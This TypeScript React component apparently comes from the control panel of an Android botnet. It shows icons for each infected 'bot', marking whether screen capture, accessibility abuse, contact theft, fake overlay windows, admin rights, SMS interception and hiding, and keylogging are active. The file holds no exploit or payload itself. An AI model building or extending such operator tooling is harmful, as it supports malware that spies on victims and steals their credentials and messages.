import React from "react";
import {Tooltip} from "antd";

import {Bot} from "../../../Model/Bot";
import {useTranslation} from "react-i18next";

interface PermissionProps {
    bot: Bot,
}

const permissionActiveColor = {color: "#4aac16"}; // important important important

const Permissions: React.FC<PermissionProps> = (props: PermissionProps) => {
    const {t} = useTranslation();

    return (
        <div className="bot-item-permissions">
            <Tooltip title={t("screen")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.permissions.screen ?
                        <span className="icon-bot icon-Visibility" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-Visibility" />
                }
            </Tooltip>

            <Tooltip title={t("PERMISSION_ACCESSIBILITY")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.permissions.accessibility ?
                        <span className="icon-bot icon-SettingsAccessibility" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-SettingsAccessibility" />
                }
            </Tooltip>

            <Tooltip title={t("contacts_permission")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.set_contact_list ?
                        <span className="icon-bot icon-AccountBox" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-AccountBox" />
                }
            </Tooltip>

            <Tooltip title={t("overlay_permission")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.set_windows_fake ?
                        <span className="icon-bot icon-TableView" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-TableView"/>
                }
            </Tooltip>

            <Tooltip title={t("PERMISSION_MODULE_LOADED")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.permissions.isKeyguardLocked ?
                        <span className="icon-bot icon-OfflineBolt" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-OfflineBolt" />
                }
            </Tooltip>

            <Tooltip title={t("admin")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.permissions.admin ?
                        <span className="icon-bot icon-AdminPanelSettings" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-AdminPanelSettings" />
                }
            </Tooltip>

            <Tooltip title={t("PERMISSION_SMS")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.permissions.is_dozemode ?
                        <span className="icon-bot icon-MarkEmailRead" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-MarkEmailRead" />
                }
            </Tooltip>

            <Tooltip title={t("HIDE_SMS")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.settings.hideSMS ?
                        <span className="icon-bot icon-MarkEmailUnread" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-MarkEmailUnread" />
                }
            </Tooltip>

            <Tooltip title={t("PERMISSION_KEYLOGGER")} placement="bottom" destroyTooltipOnHide>
                {
                    props.bot.settings.keylogger ?
                        <span className="icon-bot icon-KeyboardIconMD" style={permissionActiveColor} /> :
                        <span className="icon-bot icon-KeyboardIconMD" />
                }
            </Tooltip>
        </div>
    );
};

export default Permissions;
